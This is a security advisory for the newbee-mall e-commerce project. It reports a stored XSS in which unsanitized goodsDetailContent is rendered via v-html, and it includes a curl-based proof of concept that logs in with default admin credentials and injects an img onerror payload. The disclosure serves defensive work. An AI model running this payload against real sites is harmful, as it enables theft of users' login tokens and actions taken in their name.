Summary
The Vue3 frontend product detail page of newbee-mall directly renders the product detail field goodsDetailContent using v-html. This field can be written through the backend product editing feature, while the backend does not safely sanitize the rich text HTML when saving or returning it. As a result, an HTML payload containing event handlers can be stored in the database and executed on the frontend product detail page.
Details
- The backend Vue3 product editing page submits the rich text editor HTML as
goodsDetailContent without modification:
// vue3-admin/src/views/AddGood.vue:191
goodsDetailContent: instance.txt.html()
When editing an existing product, the request enters PUT /manage-api/v1/goods (VueAdminApiController.java:204-206).
- When updating the product, the backend only sanitizes the product name, introduction, and tag, but does not process the detail HTML:
// newbee-mall/src/main/java/ltd/newbee/mall/service/impl/NewBeeMallGoodsServiceImpl.java:90-94
goods.setGoodsName(NewBeeMallUtils.cleanString(goods.getGoodsName()));
goods.setGoodsIntro(NewBeeMallUtils.cleanString(goods.getGoodsIntro()));
goods.setTag(NewBeeMallUtils.cleanString(goods.getTag()));
goods.setUpdateTime(new Date());
goodsMapper.updateByPrimaryKeySelective(goods);
The entity setter only performs trim() on goodsDetailContent (NewBeeMallGoods.java:174-175), and MyBatis subsequently writes it into goods_detail_content (NewBeeMallGoodsMapper.xml:350-351).
- The frontend detail API returns the product detail field, and the Vue3 product detail page renders it using
v-html:
<!-- newbee-mall-vue3-app/src/views/ProductDetail.vue:39 -->
<div class="product-content" v-html="state.detail.goodsDetailContent || ''"></div>
The frontend obtains the data through GET /api/v1/goods/detail/{goodsId} (VueMallApiController.java:79-88). Since the field is not safely sanitized during saving, returning, or rendering, an event-based HTML payload will execute when a user visits the product detail page. This vulnerability is a stored XSS.
POC
BASE=http://localhost:35824
ID=10906
PAYLOAD='<img src=x onerror="alert('\''stored XSS: goodsDetailContent'\'')">'
TOKEN=$(curl -sS -c /tmp/newbee.cookies \
-H 'Content-Type: application/json' \
-d '{"userName":"admin","passwordMd5":"123456"}' \
"$BASE/manage-api/v1/adminUser/login" | jq -r .data)
curl -sS -b /tmp/newbee.cookies -H "token: $TOKEN" \
"$BASE/manage-api/v1/goods/$ID" > /tmp/newbee_goods_backup.json
jq --arg payload "$PAYLOAD" '.data | {
goodsId, goodsName, goodsIntro, goodsCategoryId, goodsCoverImg, goodsCarousel,
originalPrice, sellingPrice, stockNum, tag, goodsSellStatus,
goodsDetailContent: $payload
}' /tmp/newbee_goods_backup.json > /tmp/newbee_goods_xss.json
curl -sS -b /tmp/newbee.cookies -H "token: $TOKEN" \
-H 'Content-Type: application/json' \
-X PUT --data-binary @/tmp/newbee_goods_xss.json \
"$BASE/manage-api/v1/goods"
curl -sS "$BASE/api/v1/goods/detail/$ID" | jq -r '.data.goodsDetailContent'
Then visit the frontend product detail page: http://localhost:35824/app/#/product/10906. After the page loads the detail content, it triggers alert('stored XSS: goodsDetailContent').
Impact
The current Vue3 frontend stores the login token in localStorage and uses it as a header for subsequent API requests in src/utils/axios.js:19. The script can read this token or directly initiate same-origin API requests as the current frontend user, such as reading user information, operating the shopping cart, or affecting the order process. Unauthenticated users will also execute the script, but the exploitable capabilities are limited by the unauthenticated state.
Summary
The Vue3 frontend product detail page of newbee-mall directly renders the product detail field
goodsDetailContentusingv-html. This field can be written through the backend product editing feature, while the backend does not safely sanitize the rich text HTML when saving or returning it. As a result, an HTML payload containing event handlers can be stored in the database and executed on the frontend product detail page.Details
goodsDetailContentwithout modification:When editing an existing product, the request enters
PUT /manage-api/v1/goods(VueAdminApiController.java:204-206).The entity setter only performs
trim()ongoodsDetailContent(NewBeeMallGoods.java:174-175), and MyBatis subsequently writes it intogoods_detail_content(NewBeeMallGoodsMapper.xml:350-351).v-html:The frontend obtains the data through
GET /api/v1/goods/detail/{goodsId}(VueMallApiController.java:79-88). Since the field is not safely sanitized during saving, returning, or rendering, an event-based HTML payload will execute when a user visits the product detail page. This vulnerability is a stored XSS.POC
Then visit the frontend product detail page:
http://localhost:35824/app/#/product/10906. After the page loads the detail content, it triggersalert('stored XSS: goodsDetailContent').Impact
The current Vue3 frontend stores the login token in
localStorageand uses it as a header for subsequent API requests insrc/utils/axios.js:19. The script can read this token or directly initiate same-origin API requests as the current frontend user, such as reading user information, operating the shopping cart, or affecting the order process. Unauthenticated users will also execute the script, but the exploitable capabilities are limited by the unauthenticated state.